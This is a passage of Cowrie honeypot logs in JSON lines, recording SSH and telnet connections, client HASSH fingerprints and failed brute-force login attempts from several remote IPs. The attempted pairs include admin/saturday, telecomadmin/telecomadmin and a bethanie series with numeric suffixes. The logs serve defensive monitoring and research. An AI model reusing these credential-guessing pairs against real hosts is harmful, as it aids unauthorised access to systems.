encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:10:51.704926Z","src_ip":"165.154.36.71","session":"126b4165fbad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test1123","message":"login attempt [test1/test1123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:10:52.027163Z","src_ip":"165.154.36.71","session":"126b4165fbad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:10:53.103303Z","src_ip":"165.154.36.71","session":"126b4165fbad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.447587966918945,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:11:03.950501Z","src_ip":"190.171.113.13","session":"7a3bcf50e878","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":17542,"dst_ip":"10.17.0.5","dst_port":23,"session":"f137f9bbbf7a","protocol":"telnet","message":"New connection: 212.55.149.117:17542 (10.17.0.5:23) [session: f137f9bbbf7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:11:43.711068Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.36.71","src_port":16386,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a18c6bc9f7e","protocol":"ssh","message":"New connection: 165.154.36.71:16386 (159.203.135.109:22) [session: 0a18c6bc9f7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:12:01.070499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:12:01.079373Z","src_ip":"165.154.36.71","session":"0a18c6bc9f7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:12:01.145752Z","src_ip":"165.154.36.71","session":"0a18c6bc9f7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"test","message":"login attempt [student/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:12:01.426961Z","src_ip":"165.154.36.71","session":"0a18c6bc9f7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:12:02.501686Z","src_ip":"165.154.36.71","session":"0a18c6bc9f7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.36.71","src_port":35048,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2ba4cae9ead","protocol":"ssh","message":"New connection: 165.154.36.71:35048 (159.203.135.109:22) [session: f2ba4cae9ead]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:13:09.758811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:13:09.763786Z","src_ip":"165.154.36.71","session":"f2ba4cae9ead","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:13:09.842548Z","src_ip":"165.154.36.71","session":"f2ba4cae9ead","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"telecomadmin","password":"telecomadmin","message":"login attempt [telecomadmin/telecomadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:13:10.123803Z","src_ip":"165.154.36.71","session":"f2ba4cae9ead","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:13:11.197603Z","src_ip":"165.154.36.71","session":"f2ba4cae9ead","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":50914,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a291700c127","protocol":"ssh","message":"New connection: 194.59.206.2:50914 (10.17.0.5:22) [session: 7a291700c127]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:13:23.181993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:13:23.186736Z","src_ip":"194.59.206.2","session":"7a291700c127","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:13:23.273288Z","src_ip":"194.59.206.2","session":"7a291700c127","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:13:23.364917Z","src_ip":"194.59.206.2","session":"7a291700c127","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":50179,"dst_ip":"10.17.0.5","dst_port":23,"session":"90a78716e680","protocol":"telnet","message":"New connection: 212.55.149.117:50179 (10.17.0.5:23) [session: 90a78716e680]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:13:33.934005Z"}
{"eventid":"cowrie.session.closed","duration":120.00226259231567,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:13:43.713203Z","src_ip":"212.55.149.117","session":"f137f9bbbf7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":2370,"dst_ip":"10.17.0.5","dst_port":23,"session":"8dc886e574b5","protocol":"telnet","message":"New connection: 212.55.149.117:2370 (10.17.0.5:23) [session: 8dc886e574b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:13:45.106555Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.36.71","src_port":53706,"dst_ip":"159.203.135.109","dst_port":22,"session":"7bd053aef8ef","protocol":"ssh","message":"New connection: 165.154.36.71:53706 (159.203.135.109:22) [session: 7bd053aef8ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:14:16.766945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:14:16.771799Z","src_ip":"165.154.36.71","session":"7bd053aef8ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:14:16.844471Z","src_ip":"165.154.36.71","session":"7bd053aef8ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"!Q2w#E4r","message":"login attempt [test/!Q2w#E4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:14:17.173557Z","src_ip":"165.154.36.71","session":"7bd053aef8ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:14:18.259293Z","src_ip":"165.154.36.71","session":"7bd053aef8ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.296584129333496,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:14:33.230448Z","src_ip":"212.55.149.117","session":"90a78716e680","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.55851197242737,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:14:45.664897Z","src_ip":"212.55.149.117","session":"8dc886e574b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":57211,"dst_ip":"10.17.0.5","dst_port":22,"session":"cccb97af3760","protocol":"ssh","message":"New connection: 213.209.159.56:57211 (10.17.0.5:22) [session: cccb97af3760]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:14:48.596473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:14:48.601327Z","src_ip":"213.209.159.56","session":"cccb97af3760","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:14:48.685819Z","src_ip":"213.209.159.56","session":"cccb97af3760","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bethanie","password":"bethanie","message":"login attempt [bethanie/bethanie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:14:49.087026Z","src_ip":"213.209.159.56","session":"cccb97af3760","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bethanie","password":"bethanie1","message":"login attempt [bethanie/bethanie1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:14:50.172778Z","src_ip":"213.209.159.56","session":"cccb97af3760","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bethanie","password":"bethanie123","message":"login attempt [bethanie/bethanie123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:14:51.257520Z","src_ip":"213.209.159.56","session":"cccb97af3760","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bethanie","password":"bethanie1234","message":"login attempt [bethanie/bethanie1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:14:52.342328Z","src_ip":"213.209.159.56","session":"cccb97af3760","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bethanie","password":"bethanie12345","message":"login attempt [bethanie/bethanie12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:14:53.427949Z","src_ip":"213.209.159.56","session":"cccb97af3760","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:14:54.512794Z","src_ip":"213.209.159.56","session":"cccb97af3760","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.36.71","src_port":17366,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f9bb6904dc4","protocol":"ssh","message":"New connection: 165.154.36.71:17366 (159.203.135.109:22) [session: 6f9bb6904dc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:15:23.272489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:15:23.280756Z","src_ip":"165.154.36.71","session":"6f9bb6904dc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:15:23.362215Z","src_ip":"165.154.36.71","session":"6f9bb6904dc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"qbtuser","password":"qbtuser","message":"login attempt [qbtuser/qbtuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:15:23.679229Z","src_ip":"165.154.36.71","session":"6f9bb6904dc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:15:24.767908Z","src_ip":"165.154.36.71","session":"6f9bb6904dc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.36.71","src_port":36024,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1710f6d6904","protocol":"ssh","message":"New connection: 165.154.36.71:36024 (159.203.135.109:22) [session: e1710f6d6904]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:16:29.193699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:16:29.199092Z","src_ip":"165.154.36.71","session":"e1710f6d6904","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:16:29.267626Z","src_ip":"165.154.36.71","session":"e1710f6d6904","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"saturday","message":"login attempt [admin/saturday] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:16:29.575602Z","src_ip":"165.154.36.71","session":"e1710f6d6904","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:16:30.647201Z","src_ip":"165.154.36.71","session":"e1710f6d6904","protocol":"ssh"}
